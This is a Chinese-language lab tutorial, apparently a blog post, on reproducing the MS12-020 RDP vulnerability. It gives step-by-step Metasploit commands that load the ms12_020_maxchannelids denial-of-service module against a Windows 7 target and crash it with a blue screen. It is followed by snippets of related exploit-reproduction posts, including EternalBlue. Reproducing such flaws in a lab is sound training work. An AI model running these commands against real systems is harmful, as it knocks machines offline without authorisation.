漏洞复现：Ms12-020 （win7 蓝屏）

khs1994 发布于2021-10-08 10:04 / 1524人阅读

摘要：首先需要准备好环境攻击机靶机靶机端口必须是开放，攻击机与靶机必须在同一局域网下，靶机防火墙必须关闭。和必须相互可以通启动工具，并查看漏洞利用的攻击模块。查找相关的模块加载模块查看需要设置的选项设置目标主机接下来输入非常有趣的一个小实验

首先需要准备好环境：攻击机：kali 靶机：windows7

靶机3389端口必须是开放，攻击机与靶机必须在同一局域网下，靶机防火墙必须关闭。

wind7和kali必须相互可以ping通

1.启动msfconsole工具，并查看ms12-020漏洞利用的攻击模块。

#  msfconsole

2.查找MS12-020相关的模块

# search  ms12_020

3.加载模块

# use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

4.查看需要设置的选项

# show options

5. 设置目标主机

# set rhost 192.168.1.10

6.接下来输入

run

非常有趣的一个小实验

idc机房托管超融合服务器 docker 逃逸漏洞复现蓝屏漏洞 gpu云服务器免费复现代码 gpu云服务器怎么复现代码

文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。

转载请注明本文地址：https://www.ucloud.cn/yun/121737.html

MS12-020远程桌面协议RDP代码执行导致系统蓝屏漏洞(CVE-2012-0002)

摘要：漏洞描述源于没有正确处理内存中的数据包导致的漏洞，远程攻击者在未经认证的情况下往服务器发送特制的报文，来访问未初始化或未删除的对象来触发漏洞，即可执行系统权限或者权限任意命令，并以管理员权限查看更改删除数据受影响的系统漏洞复现攻击机靶漏洞描述源于没有正确处理内存中的数据包导致的CVE-2...

Juven 2021-11-12 10:34 评论0 收藏0
ms14_064漏洞复现

摘要：一环境准备利用安装虚拟机，虚拟机二实验步骤命令行输入以下命令启动输入以下命令搜索漏洞并在其中找到的漏洞利用模块输入以下命令加载漏洞利用模块这里可以看到我们的漏洞利用模块已经被启动。一、环境准备利用VMware安装win7虚拟机x1，kali Linux虚拟机x1. 二、实...

PumpkinDylan 2021-09-04 16:46 评论0 收藏0
漏洞利用三：445端口漏洞利用

摘要：二永恒之蓝基于的漏洞，和最新版全部中招，属于系统级漏洞利用这一漏洞会使系统遭受蠕虫型攻击，这意味着很容易从一个受害者感染另一个受害者，一开机就感染。 445端口用来访问共享文件夹，445端口之所以危险，是因为厂商默认开放。靶机：win7系统 IP：10.0.0.199 ...

lifefriend_007 2021-09-06 15:00 评论0 收藏0
MS17010(永恒之蓝)漏洞复现

摘要：永恒之蓝漏洞利用与复现首先需要准备的环境做为靶机获取信息利用扫描得到靶机得到然后利用得到靶机信息发现可能利用的漏洞然后启动然后查找漏洞路径使用进行攻击然后输入然后在查看当前用户发现用乱码可以用这 ...

Barrior 2021-11-23 09:51 评论0 收藏0
渗透测试——常见服务端口及对应的漏洞汇总

摘要：一服务类弱口令漏洞利用可以上传包上传慢速攻击文件包含漏洞后台弱口令后台部署包反序列化远程代码执行后台弱口令任意文件泄露反序列化后台弱口令后台部署包测试页面上传反序列化暴力 ...

2bdenny 2021-11-19 09:40 评论0 收藏0